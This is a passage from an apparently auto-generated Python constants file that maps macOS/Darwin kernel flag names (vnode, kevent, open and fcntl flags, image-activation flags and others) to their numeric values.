Constant('IO_TAILZEROFILL',0x0040)\nIO_HEADZEROFILL = Constant('IO_HEADZEROFILL',0x0080)\nIO_NOZEROVALID = Constant('IO_NOZEROVALID',0x0100)\nIO_NOZERODIRTY = Constant('IO_NOZERODIRTY',0x0200)\nIO_CLOSE = Constant('IO_CLOSE',0x0400)\nIO_NOCACHE = Constant('IO_NOCACHE',0x0800)\nIO_RAOFF = Constant('IO_RAOFF',0x1000)\nIO_DEFWRITE = Constant('IO_DEFWRITE',0x2000)\nIO_PASSIVE = Constant('IO_PASSIVE',0x4000)\nIO_NOAUTH = Constant('IO_NOAUTH',0x8000)\nIO_NODIRECT = Constant('IO_NODIRECT',0x10000)\nIO_ENCRYPTED = Constant('IO_ENCRYPTED',0x20000)\nIO_RETURN_ON_THROTTLE = Constant('IO_RETURN_ON_THROTTLE',0x40000)\nIO_SINGLE_WRITER = Constant('IO_SINGLE_WRITER',0x80000)\nIO_SYSCALL_DISPATCH = Constant('IO_SYSCALL_DISPATCH',0x100000)\nIO_SWAP_DISPATCH = Constant('IO_SWAP_DISPATCH',0x200000)\nIO_SKIP_ENCRYPTION = Constant('IO_SKIP_ENCRYPTION',0x400000)\nIO_EVTONLY = Constant('IO_EVTONLY',0x800000)\nIO_NOCACHE_SYSSPACE = Constant('IO_NOCACHE_SYSSPACE',0x1000000)\nIO_NOCACHE_SWRITE = Constant('IO_NOCACHE_SWRITE',0x2000000)\nLOOKUP = Constant('LOOKUP',0)\nCREATE = Constant('CREATE',1)\nDELETE = Constant('DELETE',2)\nRENAME = Constant('RENAME',3)\nOPMASK = Constant('OPMASK',3)\nFOLLOW = Constant('FOLLOW',0x00000040)\nISDOTDOT = Constant('ISDOTDOT',0x00002000)\nMAKEENTRY = Constant('MAKEENTRY',0x00004000)\nISLASTCN = Constant('ISLASTCN',0x00008000)\nVNFS_NOCACHE = Constant('VNFS_NOCACHE',0x01)\nVNFS_CANTCACHE = Constant('VNFS_CANTCACHE',0x02)\nVNFS_ADDFSREF = Constant('VNFS_ADDFSREF',0x04)\nVNCREATE_FLAVOR = Constant('VNCREATE_FLAVOR',0)\nVA_UTIMES_NULL = Constant('VA_UTIMES_NULL',0x010000)\nVA_EXCLUSIVE = Constant('VA_EXCLUSIVE',0x020000)\nVA_NOINHERIT = Constant('VA_NOINHERIT',0x040000)\nVA_NOAUTH = Constant('VA_NOAUTH',0x080000)\nVA_64BITOBJIDS = Constant('VA_64BITOBJIDS',0x100000)\nVA_REALFSID = Constant('VA_REALFSID',0x200000)\nVA_USEFSID = Constant('VA_USEFSID',0x400000)\nVA_FILESEC_ACL = Constant('VA_FILESEC_ACL',0x800000)\nVSUID = Constant('VSUID',0x800)\nVSGID = Constant('VSGID',0x400)\nVSVTX = Constant('VSVTX',0x200)\nVREAD = Constant('VREAD',0x100)\nVWRITE = Constant('VWRITE',0x080)\nVEXEC = Constant('VEXEC',0x040)\nSKIPSYSTEM = Constant('SKIPSYSTEM',0x0001)\nFORCECLOSE = Constant('FORCECLOSE',0x0002)\nWRITECLOSE = Constant('WRITECLOSE',0x0004)\nSKIPSWAP = Constant('SKIPSWAP',0x0008)\nSKIPROOT = Constant('SKIPROOT',0x0010)\nDOCLOSE = Constant('DOCLOSE',0x0008)\nV_SAVE = Constant('V_SAVE',0x0001)\nV_SAVEMETA = Constant('V_SAVEMETA',0x0002)\nREVOKEALL = Constant('REVOKEALL',0x0001)\nVNODE_REMOVE_NODELETEBUSY = Constant('VNODE_REMOVE_NODELETEBUSY',0x0001)\nVNODE_REMOVE_SKIP_NAMESPACE_EVENT = Constant('VNODE_REMOVE_SKIP_NAMESPACE_EVENT',0x0002)\nVNODE_REMOVE_NO_AUDIT_PATH = Constant('VNODE_REMOVE_NO_AUDIT_PATH',0x0004)\nVNODE_REMOVE_DATALESS_DIR = Constant('VNODE_REMOVE_DATALESS_DIR',0x0008)\nVNODE_READDIR_EXTENDED = Constant('VNODE_READDIR_EXTENDED',0x0001)\nVNODE_READDIR_REQSEEKOFF = Constant('VNODE_READDIR_REQSEEKOFF',0x0002)\nVNODE_READDIR_SEEKOFF32 = Constant('VNODE_READDIR_SEEKOFF32',0x0004)\nVNODE_READDIR_NAMEMAX = Constant('VNODE_READDIR_NAMEMAX',0x0008)\nVNODE_CLONEFILE_DEFAULT = Constant('VNODE_CLONEFILE_DEFAULT',0x0000)\nVNODE_CLONEFILE_NOOWNERCOPY = Constant('VNODE_CLONEFILE_NOOWNERCOPY',0x0001)\nVNODE_ASYNC_THROTTLE = Constant('VNODE_ASYNC_THROTTLE',15)\nVNODE_UPDATE_PARENT = Constant('VNODE_UPDATE_PARENT',0x01)\nVNODE_UPDATE_NAME = Constant('VNODE_UPDATE_NAME',0x02)\nVNODE_UPDATE_CACHE = Constant('VNODE_UPDATE_CACHE',0x04)\nVNODE_UPDATE_PURGE = Constant('VNODE_UPDATE_PURGE',0x08)\nVNODE_LOOKUP_NOFOLLOW = Constant('VNODE_LOOKUP_NOFOLLOW',0x01)\nVNODE_LOOKUP_NOCROSSMOUNT = Constant('VNODE_LOOKUP_NOCROSSMOUNT',0x02)\nVNODE_LOOKUP_CROSSMOUNTNOWAIT = Constant('VNODE_LOOKUP_CROSSMOUNTNOWAIT',0x04)\nVNODE_LOOKUP_NOFOLLOW_ANY = Constant('VNODE_LOOKUP_NOFOLLOW_ANY',0x08)\nVNODE_RELOAD = Constant('VNODE_RELOAD',0x01)\nVNODE_WAIT = Constant('VNODE_WAIT',0x02)\nVNODE_WRITEABLE = Constant('VNODE_WRITEABLE',0x04)\nVNODE_WITHID = Constant('VNODE_WITHID',0x08)\nVNODE_NOLOCK_INTERNAL = Constant('VNODE_NOLOCK_INTERNAL',0x10)\nVNODE_NODEAD = Constant('VNODE_NODEAD',0x20)\nVNODE_NOSUSPEND = Constant('VNODE_NOSUSPEND',0x40)\nVNODE_ITERATE_ALL = Constant('VNODE_ITERATE_ALL',0x80)\nVNODE_ITERATE_ACTIVE = Constant('VNODE_ITERATE_ACTIVE',0x100)\nVNODE_ITERATE_INACTIVE = Constant('VNODE_ITERATE_INACTIVE',0x200)\nVNODE_RETURNED = Constant('VNODE_RETURNED',0)\nVNODE_RETURNED_DONE = Constant('VNODE_RETURNED_DONE',1)\nVNODE_CLAIMED = Constant('VNODE_CLAIMED',2)\nVNODE_CLAIMED_DONE = Constant('VNODE_CLAIMED_DONE',3)\nIOCS_BUFFER_NUM_SIZE_BUCKETS = Constant('IOCS_BUFFER_NUM_SIZE_BUCKETS',10)\nIOCS_BUFFER_MAX_BUCKET = Constant('IOCS_BUFFER_MAX_BUCKET',9)\nIOCS_BUFFER_NUM_COMPRESSION_BUCKETS = Constant('IOCS_BUFFER_NUM_COMPRESSION_BUCKETS',7)\nIOCS_BLOCK_NUM_SIZE_BUCKETS = Constant('IOCS_BLOCK_NUM_SIZE_BUCKETS',16)\nIOCS_SBE_PATH_LEN = Constant('IOCS_SBE_PATH_LEN',128)\nIOCS_PATH_START_BYTES_TO_COPY = Constant('IOCS_PATH_START_BYTES_TO_COPY',108)\nIOCS_PATH_END_BYTES_TO_COPY = Constant('IOCS_PATH_END_BYTES_TO_COPY',20)\nIOCS_SYSCTL_LIVE = Constant('IOCS_SYSCTL_LIVE',0x00000001)\nIOCS_SYSCTL_STORE_BUFFER_RD_ONLY = Constant('IOCS_SYSCTL_STORE_BUFFER_RD_ONLY',0x00000002)\nIOCS_SYSCTL_STORE_BUFFER_MARK = Constant('IOCS_SYSCTL_STORE_BUFFER_MARK',0x00000004)\nTANDEM = Constant('TANDEM',0x00000001)\nCBREAK = Constant('CBREAK',0x00000002)\nLCASE = Constant('LCASE',0x00000004)\nECHO = Constant('ECHO',0x00000008)\nCRMOD = Constant('CRMOD',0x00000010)\nRAW = Constant('RAW',0x00000020)\nODDP = Constant('ODDP',0x00000040)\nEVENP = Constant('EVENP',0x00000080)\nANYP = Constant('ANYP',0x000000c0)\nNLDELAY = Constant('NLDELAY',0x00000300)\nTBDELAY = Constant('TBDELAY',0x00000c00)\nXTABS = Constant('XTABS',0x00000c00)\nCRDELAY = Constant('CRDELAY',0x00003000)\nVTDELAY = Constant('VTDELAY',0x00004000)\nBSDELAY = Constant('BSDELAY',0x00008000)\nNL0 = Constant('NL0',0x00000000)\nNL1 = Constant('NL1',0x00000100)\nNL2 = Constant('NL2',0x00000200)\nNL3 = Constant('NL3',0x00000300)\nTAB0 = Constant('TAB0',0x00000000)\nTAB1 = Constant('TAB1',0x00000400)\nTAB2 = Constant('TAB2',0x00000800)\nCR0 = Constant('CR0',0x00000000)\nCR1 = Constant('CR1',0x00001000)\nCR2 = Constant('CR2',0x00002000)\nCR3 = Constant('CR3',0x00003000)\nFF0 = Constant('FF0',0x00000000)\nFF1 = Constant('FF1',0x00004000)\nBS0 = Constant('BS0',0x00000000)\nBS1 = Constant('BS1',0x00008000)\nCRTBS = Constant('CRTBS',0x00010000)\nPRTERA = Constant('PRTERA',0x00020000)\nCRTERA = Constant('CRTERA',0x00040000)\nTILDE = Constant('TILDE',0x00080000)\nMDMBUF = Constant('MDMBUF',0x00100000)\nLITOUT = Constant('LITOUT',0x00200000)\nTOSTOP = Constant('TOSTOP',0x00400000)\nFLUSHO = Constant('FLUSHO',0x00800000)\nNOHANG = Constant('NOHANG',0x01000000)\nL001000 = Constant('L001000',0x02000000)\nCRTKIL = Constant('CRTKIL',0x04000000)\nPASS8 = Constant('PASS8',0x08000000)\nCTLECH = Constant('CTLECH',0x10000000)\nPENDIN = Constant('PENDIN',0x20000000)\nDECCTQ = Constant('DECCTQ',0x40000000)\nNOFLSH = Constant('NOFLSH',0x80000000)\nOTTYDISC = Constant('OTTYDISC',0)\nNETLDISC = Constant('NETLDISC',1)\nNTTYDISC = Constant('NTTYDISC',2)\nLOCKLEAF = Constant('LOCKLEAF',0x0004)\nLOCKPARENT = Constant('LOCKPARENT',0x0008)\nWANTPARENT = Constant('WANTPARENT',0x0010)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nUIO_SMALLIOV = Constant('UIO_SMALLIOV',8)\nEVFILT_SYSCOUNT = Constant('EVFILT_SYSCOUNT',18)\nKEVENT_FLAG_NONE = Constant('KEVENT_FLAG_NONE',0x000000)\nKEVENT_FLAG_IMMEDIATE = Constant('KEVENT_FLAG_IMMEDIATE',0x000001)\nKEVENT_FLAG_ERROR_EVENTS = Constant('KEVENT_FLAG_ERROR_EVENTS',0x000002)\nEV_ADD = Constant('EV_ADD',0x0001)\nEV_DELETE = Constant('EV_DELETE',0x0002)\nEV_ENABLE = Constant('EV_ENABLE',0x0004)\nEV_DISABLE = Constant('EV_DISABLE',0x0008)\nEV_ONESHOT = Constant('EV_ONESHOT',0x0010)\nEV_CLEAR = Constant('EV_CLEAR',0x0020)\nEV_RECEIPT = Constant('EV_RECEIPT',0x0040)\nEV_DISPATCH = Constant('EV_DISPATCH',0x0080)\nEV_UDATA_SPECIFIC = Constant('EV_UDATA_SPECIFIC',0x0100)\nEV_VANISHED = Constant('EV_VANISHED',0x0200)\nEV_SYSFLAGS = Constant('EV_SYSFLAGS',0xF000)\nEV_FLAG0 = Constant('EV_FLAG0',0x1000)\nEV_FLAG1 = Constant('EV_FLAG1',0x2000)\nEV_EOF = Constant('EV_EOF',0x8000)\nEV_ERROR = Constant('EV_ERROR',0x4000)\nNOTE_TRIGGER = Constant('NOTE_TRIGGER',0x01000000)\nNOTE_FFNOP = Constant('NOTE_FFNOP',0x00000000)\nNOTE_FFAND = Constant('NOTE_FFAND',0x40000000)\nNOTE_FFOR = Constant('NOTE_FFOR',0x80000000)\nNOTE_FFCOPY = Constant('NOTE_FFCOPY',0xc0000000)\nNOTE_FFCTRLMASK = Constant('NOTE_FFCTRLMASK',0xc0000000)\nNOTE_FFLAGSMASK = Constant('NOTE_FFLAGSMASK',0x00ffffff)\nNOTE_LOWAT = Constant('NOTE_LOWAT',0x00000001)\nNOTE_OOB = Constant('NOTE_OOB',0x00000002)\nNOTE_DELETE = Constant('NOTE_DELETE',0x00000001)\nNOTE_WRITE = Constant('NOTE_WRITE',0x00000002)\nNOTE_EXTEND = Constant('NOTE_EXTEND',0x00000004)\nNOTE_ATTRIB = Constant('NOTE_ATTRIB',0x00000008)\nNOTE_LINK = Constant('NOTE_LINK',0x00000010)\nNOTE_RENAME = Constant('NOTE_RENAME',0x00000020)\nNOTE_REVOKE = Constant('NOTE_REVOKE',0x00000040)\nNOTE_NONE = Constant('NOTE_NONE',0x00000080)\nNOTE_FUNLOCK = Constant('NOTE_FUNLOCK',0x00000100)\nNOTE_LEASE_DOWNGRADE = Constant('NOTE_LEASE_DOWNGRADE',0x00000200)\nNOTE_LEASE_RELEASE = Constant('NOTE_LEASE_RELEASE',0x00000400)\nNOTE_EXIT = Constant('NOTE_EXIT',0x80000000)\nNOTE_FORK = Constant('NOTE_FORK',0x40000000)\nNOTE_EXEC = Constant('NOTE_EXEC',0x20000000)\nNOTE_SIGNAL = Constant('NOTE_SIGNAL',0x08000000)\nNOTE_EXITSTATUS = Constant('NOTE_EXITSTATUS',0x04000000)\nNOTE_EXIT_DETAIL = Constant('NOTE_EXIT_DETAIL',0x02000000)\nNOTE_PDATAMASK = Constant('NOTE_PDATAMASK',0x000fffff)\nNOTE_EXIT_DETAIL_MASK = Constant('NOTE_EXIT_DETAIL_MASK',0x00070000)\nNOTE_EXIT_DECRYPTFAIL = Constant('NOTE_EXIT_DECRYPTFAIL',0x00010000)\nNOTE_EXIT_MEMORY = Constant('NOTE_EXIT_MEMORY',0x00020000)\nNOTE_EXIT_CSERROR = Constant('NOTE_EXIT_CSERROR',0x00040000)\nNOTE_VM_PRESSURE = Constant('NOTE_VM_PRESSURE',0x80000000)\nNOTE_VM_PRESSURE_TERMINATE = Constant('NOTE_VM_PRESSURE_TERMINATE',0x40000000)\nNOTE_VM_PRESSURE_SUDDEN_TERMINATE = Constant('NOTE_VM_PRESSURE_SUDDEN_TERMINATE',0x20000000)\nNOTE_VM_ERROR = Constant('NOTE_VM_ERROR',0x10000000)\nNOTE_SECONDS = Constant('NOTE_SECONDS',0x00000001)\nNOTE_USECONDS = Constant('NOTE_USECONDS',0x00000002)\nNOTE_NSECONDS = Constant('NOTE_NSECONDS',0x00000004)\nNOTE_ABSOLUTE = Constant('NOTE_ABSOLUTE',0x00000008)\nNOTE_LEEWAY = Constant('NOTE_LEEWAY',0x00000010)\nNOTE_CRITICAL = Constant('NOTE_CRITICAL',0x00000020)\nNOTE_BACKGROUND = Constant('NOTE_BACKGROUND',0x00000040)\nNOTE_MACH_CONTINUOUS_TIME = Constant('NOTE_MACH_CONTINUOUS_TIME',0x00000080)\nNOTE_MACHTIME = Constant('NOTE_MACHTIME',0x00000100)\nNOTE_TRACK = Constant('NOTE_TRACK',0x00000001)\nNOTE_TRACKERR = Constant('NOTE_TRACKERR',0x00000002)\nNOTE_CHILD = Constant('NOTE_CHILD',0x00000004)\nVMADDR_CID_HYPERVISOR = Constant('VMADDR_CID_HYPERVISOR',0)\nVMADDR_CID_RESERVED = Constant('VMADDR_CID_RESERVED',1)\nVMADDR_CID_HOST = Constant('VMADDR_CID_HOST',2)\nIMG_SHSIZE = Constant('IMG_SHSIZE',512)\nIMGPF_NONE = Constant('IMGPF_NONE',0x00000000)\nIMGPF_INTERPRET = Constant('IMGPF_INTERPRET',0x00000001)\nIMGPF_RESERVED = Constant('IMGPF_RESERVED',0x00000002)\nIMGPF_WAS_64BIT_ADDR = Constant('IMGPF_WAS_64BIT_ADDR',0x00000004)\nIMGPF_IS_64BIT_ADDR = Constant('IMGPF_IS_64BIT_ADDR',0x00000008)\nIMGPF_SPAWN = Constant('IMGPF_SPAWN',0x00000010)\nIMGPF_DISABLE_ASLR = Constant('IMGPF_DISABLE_ASLR',0x00000020)\nIMGPF_ALLOW_DATA_EXEC = Constant('IMGPF_ALLOW_DATA_EXEC',0x00000040)\nIMGPF_3P_PLUGINS = Constant('IMGPF_3P_PLUGINS',0x00000080)\nIMGPF_EXEC = Constant('IMGPF_EXEC',0x00000100)\nIMGPF_HIGH_BITS_ASLR = Constant('IMGPF_HIGH_BITS_ASLR',0x00000200)\nIMGPF_IS_64BIT_DATA = Constant('IMGPF_IS_64BIT_DATA',0x00000400)\nIMGPF_DRIVER = Constant('IMGPF_DRIVER',0x00000800)\nIMGPF_RESLIDE = Constant('IMGPF_RESLIDE',0x00001000)\nIMGPF_PLUGIN_HOST_DISABLE_A_KEYS = Constant('IMGPF_PLUGIN_HOST_DISABLE_A_KEYS',0x00002000)\nIMGPF_HW_TPRO = Constant('IMGPF_HW_TPRO',0x00004000)\nIMGPF_ROSETTA = Constant('IMGPF_ROSETTA',0x10000000)\nIMGPF_ALT_ROSETTA = Constant('IMGPF_ALT_ROSETTA',0x20000000)\nIMGPF_RESERVED_2 = Constant('IMGPF_RESERVED_2',0x40000000)\nIMGPF_NOJOP = Constant('IMGPF_NOJOP',0x80000000)\nIMGPF_SB_DEFAULT = Constant('IMGPF_SB_DEFAULT',0)\nIMGPF_SB_TRUE = Constant('IMGPF_SB_TRUE',1)\nIMGPF_SB_FALSE = Constant('IMGPF_SB_FALSE',2)\n_POSIX_THREAD_KEYS_MAX = Constant('_POSIX_THREAD_KEYS_MAX',128)\nF_OK = Constant('F_OK',0)\nACCESSX_MAX_DESCRIPTORS = Constant('ACCESSX_MAX_DESCRIPTORS',100)\n_PC_LINK_MAX = Constant('_PC_LINK_MAX',1)\n_PC_MAX_CANON = Constant('_PC_MAX_CANON',2)\n_PC_MAX_INPUT = Constant('_PC_MAX_INPUT',3)\n_PC_NAME_MAX = Constant('_PC_NAME_MAX',4)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',5)\n_PC_PIPE_BUF = Constant('_PC_PIPE_BUF',6)\n_PC_CHOWN_RESTRICTED = Constant('_PC_CHOWN_RESTRICTED',7)\n_PC_NO_TRUNC = Constant('_PC_NO_TRUNC',8)\n_PC_VDISABLE = Constant('_PC_VDISABLE',9)\n_PC_NAME_CHARS_MAX = Constant('_PC_NAME_CHARS_MAX',10)\n_PC_CASE_SENSITIVE = Constant('_PC_CASE_SENSITIVE',11)\n_PC_CASE_PRESERVING = Constant('_PC_CASE_PRESERVING',12)\n_PC_EXTENDED_SECURITY_NP = Constant('_PC_EXTENDED_SECURITY_NP',13)\n_PC_AUTH_OPAQUE_NP = Constant('_PC_AUTH_OPAQUE_NP',14)\n_PC_2_SYMLINKS = Constant('_PC_2_SYMLINKS',15)\n_PC_ALLOC_SIZE_MIN = Constant('_PC_ALLOC_SIZE_MIN',16)\n_PC_ASYNC_IO = Constant('_PC_ASYNC_IO',17)\n_PC_FILESIZEBITS = Constant('_PC_FILESIZEBITS',18)\n_PC_PRIO_IO = Constant('_PC_PRIO_IO',19)\n_PC_REC_INCR_XFER_SIZE = Constant('_PC_REC_INCR_XFER_SIZE',20)\n_PC_REC_MAX_XFER_SIZE = Constant('_PC_REC_MAX_XFER_SIZE',21)\n_PC_REC_MIN_XFER_SIZE = Constant('_PC_REC_MIN_XFER_SIZE',22)\n_PC_REC_XFER_ALIGN = Constant('_PC_REC_XFER_ALIGN',23)\n_PC_SYMLINK_MAX = Constant('_PC_SYMLINK_MAX',24)\n_PC_SYNC_IO = Constant('_PC_SYNC_IO',25)\n_PC_XATTR_SIZE_BITS = Constant('_PC_XATTR_SIZE_BITS',26)\n_PC_MIN_HOLE_SIZE = Constant('_PC_MIN_HOLE_SIZE',27)\n_CS_PATH = Constant('_CS_PATH',1)\n_SYS_CONF_H_ = Constant('_SYS_CONF_H_',1)\nD_TAPE = Constant('D_TAPE',1)\nD_DISK = Constant('D_DISK',2)\nD_TTY = Constant('D_TTY',3)\nWNOHANG = Constant('WNOHANG',0x00000001)\nWUNTRACED = Constant('WUNTRACED',0x00000002)\nWCOREFLAG = Constant('WCOREFLAG',0o0200)\n_WSTOPPED = Constant('_WSTOPPED',0o0177)\nWEXITED = Constant('WEXITED',0x00000004)\nWSTOPPED = Constant('WSTOPPED',0x00000008)\nWCONTINUED = Constant('WCONTINUED',0x00000010)\nWNOWAIT = Constant('WNOWAIT',0x00000020)\nWAIT_MYPGRP = Constant('WAIT_MYPGRP',0)\nPRIO_DARWIN_GPU = Constant('PRIO_DARWIN_GPU',5)\nPRIO_DARWIN_GPU_ALLOW = Constant('PRIO_DARWIN_GPU_ALLOW',0x1)\nPRIO_DARWIN_GPU_DENY = Constant('PRIO_DARWIN_GPU_DENY',0x2)\nPRIO_DARWIN_ROLE = Constant('PRIO_DARWIN_ROLE',6)\nPRIO_DARWIN_ROLE_DEFAULT = Constant('PRIO_DARWIN_ROLE_DEFAULT',0x0)\nPRIO_DARWIN_ROLE_UI_FOCAL = Constant('PRIO_DARWIN_ROLE_UI_FOCAL',0x1)\nPRIO_DARWIN_ROLE_UI = Constant('PRIO_DARWIN_ROLE_UI',0x2)\nPRIO_DARWIN_ROLE_NON_UI = Constant('PRIO_DARWIN_ROLE_NON_UI',0x3)\nPRIO_DARWIN_ROLE_UI_NON_FOCAL = Constant('PRIO_DARWIN_ROLE_UI_NON_FOCAL',0x4)\nPRIO_DARWIN_ROLE_TAL_LAUNCH = Constant('PRIO_DARWIN_ROLE_TAL_LAUNCH',0x5)\nPRIO_DARWIN_ROLE_DARWIN_BG = Constant('PRIO_DARWIN_ROLE_DARWIN_BG',0x6)\nPRIO_DARWIN_GAME_MODE = Constant('PRIO_DARWIN_GAME_MODE',7)\nPRIO_DARWIN_CARPLAY_MODE = Constant('PRIO_DARWIN_CARPLAY_MODE',8)\nPRIO_DARWIN_GAME_MODE_OFF = Constant('PRIO_DARWIN_GAME_MODE_OFF',0x0)\nPRIO_DARWIN_GAME_MODE_ON = Constant('PRIO_DARWIN_GAME_MODE_ON',0x1)\nPRIO_DARWIN_CARPLAY_MODE_OFF = Constant('PRIO_DARWIN_CARPLAY_MODE_OFF',0x0)\nPRIO_DARWIN_CARPLAY_MODE_ON = Constant('PRIO_DARWIN_CARPLAY_MODE_ON',0x1)\nIOMON_ENABLE = Constant('IOMON_ENABLE',0x01)\nIOMON_DISABLE = Constant('IOMON_DISABLE',0x02)\nIOPOL_TYPE_VFS_HFS_CASE_SENSITIVITY = Constant('IOPOL_TYPE_VFS_HFS_CASE_SENSITIVITY',1)\nIOPOL_TYPE_VFS_ALTLINK = Constant('IOPOL_TYPE_VFS_ALTLINK',11)\nIOPOL_TYPE_VFS_NOCACHE_WRITE_FS_BLKSIZE = Constant('IOPOL_TYPE_VFS_NOCACHE_WRITE_FS_BLKSIZE',12)\nIOPOL_VFS_HFS_CASE_SENSITIVITY_DEFAULT = Constant('IOPOL_VFS_HFS_CASE_SENSITIVITY_DEFAULT',0)\nIOPOL_VFS_HFS_CASE_SENSITIVITY_FORCE_CASE_SENSITIVE = Constant('IOPOL_VFS_HFS_CASE_SENSITIVITY_FORCE_CASE_SENSITIVE',1)\nIOPOL_VFS_ALTLINK_DISABLED = Constant('IOPOL_VFS_ALTLINK_DISABLED',0)\nIOPOL_VFS_ALTLINK_ENABLED = Constant('IOPOL_VFS_ALTLINK_ENABLED',1)\nIOPOL_CMD_GET = Constant('IOPOL_CMD_GET',0x00000001)\nIOPOL_CMD_SET = Constant('IOPOL_CMD_SET',0x00000002)\nIPC_CREAT = Constant('IPC_CREAT',0o001000)\nIPC_EXCL = Constant('IPC_EXCL',0o002000)\nIPC_NOWAIT = Constant('IPC_NOWAIT',0o004000)\nIPC_RMID = Constant('IPC_RMID',0)\nIPC_SET = Constant('IPC_SET',1)\nIPC_STAT = Constant('IPC_STAT',2)\nIPC_R = Constant('IPC_R',0o000400)\nIPC_W = Constant('IPC_W',0o000200)\nIPC_M = Constant('IPC_M',0o010000)\nO_RDONLY = Constant('O_RDONLY',0x0000)\nO_WRONLY = Constant('O_WRONLY',0x0001)\nO_RDWR = Constant('O_RDWR',0x0002)\nO_ACCMODE = Constant('O_ACCMODE',0x0003)\nFREAD = Constant('FREAD',0x00000001)\nFWRITE = Constant('FWRITE',0x00000002)\nO_NONBLOCK = Constant('O_NONBLOCK',0x00000004)\nO_APPEND = Constant('O_APPEND',0x00000008)\nO_SHLOCK = Constant('O_SHLOCK',0x00000010)\nO_EXLOCK = Constant('O_EXLOCK',0x00000020)\nO_ASYNC = Constant('O_ASYNC',0x00000040)\nO_NOFOLLOW = Constant('O_NOFOLLOW',0x00000100)\nO_CREAT = Constant('O_CREAT',0x00000200)\nO_TRUNC = Constant('O_TRUNC',0x00000400)\nO_EXCL = Constant('O_EXCL',0x00000800)\nFMARK = Constant('FMARK',0x00001000)\nFDEFER = Constant('FDEFER',0x00002000)\nFWASLOCKED = Constant('FWASLOCKED',0x00004000)\nO_EVTONLY = Constant('O_EVTONLY',0x00008000)\nFWASWRITTEN = Constant('FWASWRITTEN',0x00010000)\nO_NOCTTY = Constant('O_NOCTTY',0x00020000)\nFNOCACHE = Constant('FNOCACHE',0x00040000)\nFNORDAHEAD = Constant('FNORDAHEAD',0x00080000)\nO_DIRECTORY = Constant('O_DIRECTORY',0x00100000)\nO_SYMLINK = Constant('O_SYMLINK',0x00200000)\nFNODIRECT = Constant('FNODIRECT',0x00800000)\nO_CLOEXEC = Constant('O_CLOEXEC',0x01000000)\nFENCRYPTED = Constant('FENCRYPTED',0x02000000)\nFSINGLE_WRITER = Constant('FSINGLE_WRITER',0x04000000)\nO_CLOFORK = Constant('O_CLOFORK',0x08000000)\nFUNENCRYPTED = Constant('FUNENCRYPTED',0x10000000)\nO_NOFOLLOW_ANY = Constant('O_NOFOLLOW_ANY',0x20000000)\nO_EXEC = Constant('O_EXEC',0x40000000)\nAT_EACCESS = Constant('AT_EACCESS',0x0010)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x0020)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x0040)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x0080)\nAT_REALDEV = Constant('AT_REALDEV',0x0200)\nAT_FDONLY = Constant('AT_FDONLY',0x0400)\nAT_SYMLINK_NOFOLLOW_ANY = Constant('AT_SYMLINK_NOFOLLOW_ANY',0x0800)\nO_DP_GETRAWENCRYPTED = Constant('O_DP_GETRAWENCRYPTED',0x0001)\nO_DP_GETRAWUNENCRYPTED = Constant('O_DP_GETRAWUNENCRYPTED',0x0002)\nO_DP_AUTHENTICATE = Constant('O_DP_AUTHENTICATE',0x0004)\nCPF_OVERWRITE = Constant('CPF_OVERWRITE',0x0001)\nCPF_IGNORE_MODE = Constant('CPF_IGNORE_MODE',0x0002)\nF_DUPFD = Constant('F_DUPFD',0)\nF_GETFD = Constant('F_GETFD',1)\nF_SETFD = Constant('F_SETFD',2)\nF_GETFL = Constant('F_GETFL',3)\nF_SETFL = Constant('F_SETFL',4)\nF_GETOWN = Constant('F_GETOWN',5)\nF_SETOWN = Constant('F_SETOWN',6)\nF_GETLK = Constant('F_GETLK',7)\nF_SETLK = Constant('F_SETLK',8)\nF_SETLKW = Constant('F_SETLKW',9)\nF_SETLKWTIMEOUT = Constant('F_SETLKWTIMEOUT',10)\nF_FLUSH_DATA = Constant('F_FLUSH_DATA',40)\nF_CHKCLEAN = Constant('F_CHKCLEAN',41)\nF_PREALLOCATE = Constant('F_PREALLOCATE',42)\nF_SETSIZE = Constant('F_SETSIZE',43)\nF_RDADVISE = Constant('F_RDADVISE',44)\nF_RDAHEAD = Constant('F_RDAHEAD',45)\nF_NOCACHE = Constant('F_NOCACHE',48)\nF_LOG2PHYS = Constant('F_LOG2PHYS',49)\nF_GETPATH = Constant('F_GETPATH',50)\nF_FULLFSYNC = Constant('F_FULLFSYNC',51)\nF_PATHPKG_CHECK = Constant('F_PATHPKG_CHECK',52)\nF_FREEZE_FS = Constant('F_FREEZE_FS',53)\nF_THAW_FS = Constant('F_THAW_FS',54)\nF_GLOBAL_NOCACHE = Constant('F_GLOBAL_NOCACHE',55)\nF_ADDSIGS = Constant('F_ADDSIGS',59)\nF_ADDFILESIGS = Constant('F_ADDFILESIGS',61)\nF_NODIRECT = Constant('F_NODIRECT',62)\nF_GETPROTECTIONCLASS = Constant('F_GETPROTECTIONCLASS',63)\nF_SETPROTECTIONCLASS = Constant('F_SETPROTECTIONCLASS',64)\nF_LOG2PHYS_EXT = Constant('F_LOG2PHYS_EXT',65)\nF_GETLKPID = Constant('F_GETLKPID',66)\nF_SETBACKINGSTORE = Constant('F_SETBACKINGSTORE',70)\nF_GETPATH_MTMINFO = Constant('F_GETPATH_MTMINFO',71)\nF_GETCODEDIR = Constant('F_GETCODEDIR',72)\nF_SETNOSIGPIPE = Constant('F_SETNOSIGPIPE',73)\nF_GETNOSIGPIPE = Constant('F_GETNOSIGPIPE',74)\nF_TRANSCODEKEY = Constant('F_TRANSCODEKEY',75)\nF_SINGLE_WRITER = Constant('F_SINGLE_WRITER',76)\nF_GETPROTECTIONLEVEL = Constant('F_GETPROTECTIONLEVEL',77)\nF_FINDSIGS = Constant('F_FINDSIGS',78)\nF_ADDFILESIGS_FOR_DYLD_SIM = Constant('F_ADDFILESIGS_FOR_DYLD_SIM',83)\nF_BARRIERFSYNC = Constant('F_BARRIERFSYNC',85)\nF_OFD_SETLK = Constant('F_OFD_SETLK',90)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',91)\nF_OFD_GETLK = Constant('F_OFD_GETLK',92)\nF_OFD_SETLKWTIMEOUT = Constant('F_OFD_SETLKWTIMEOUT',93)\nF_ADDFILESIGS_RETURN = Constant('F_ADDFILESIGS_RETURN',97)\nF_CHECK_LV = Constant('F_CHECK_LV',98)\nF_PUNCHHOLE = Constant('F_PUNCHHOLE',99)\nF_TRIM_ACTIVE_FILE = 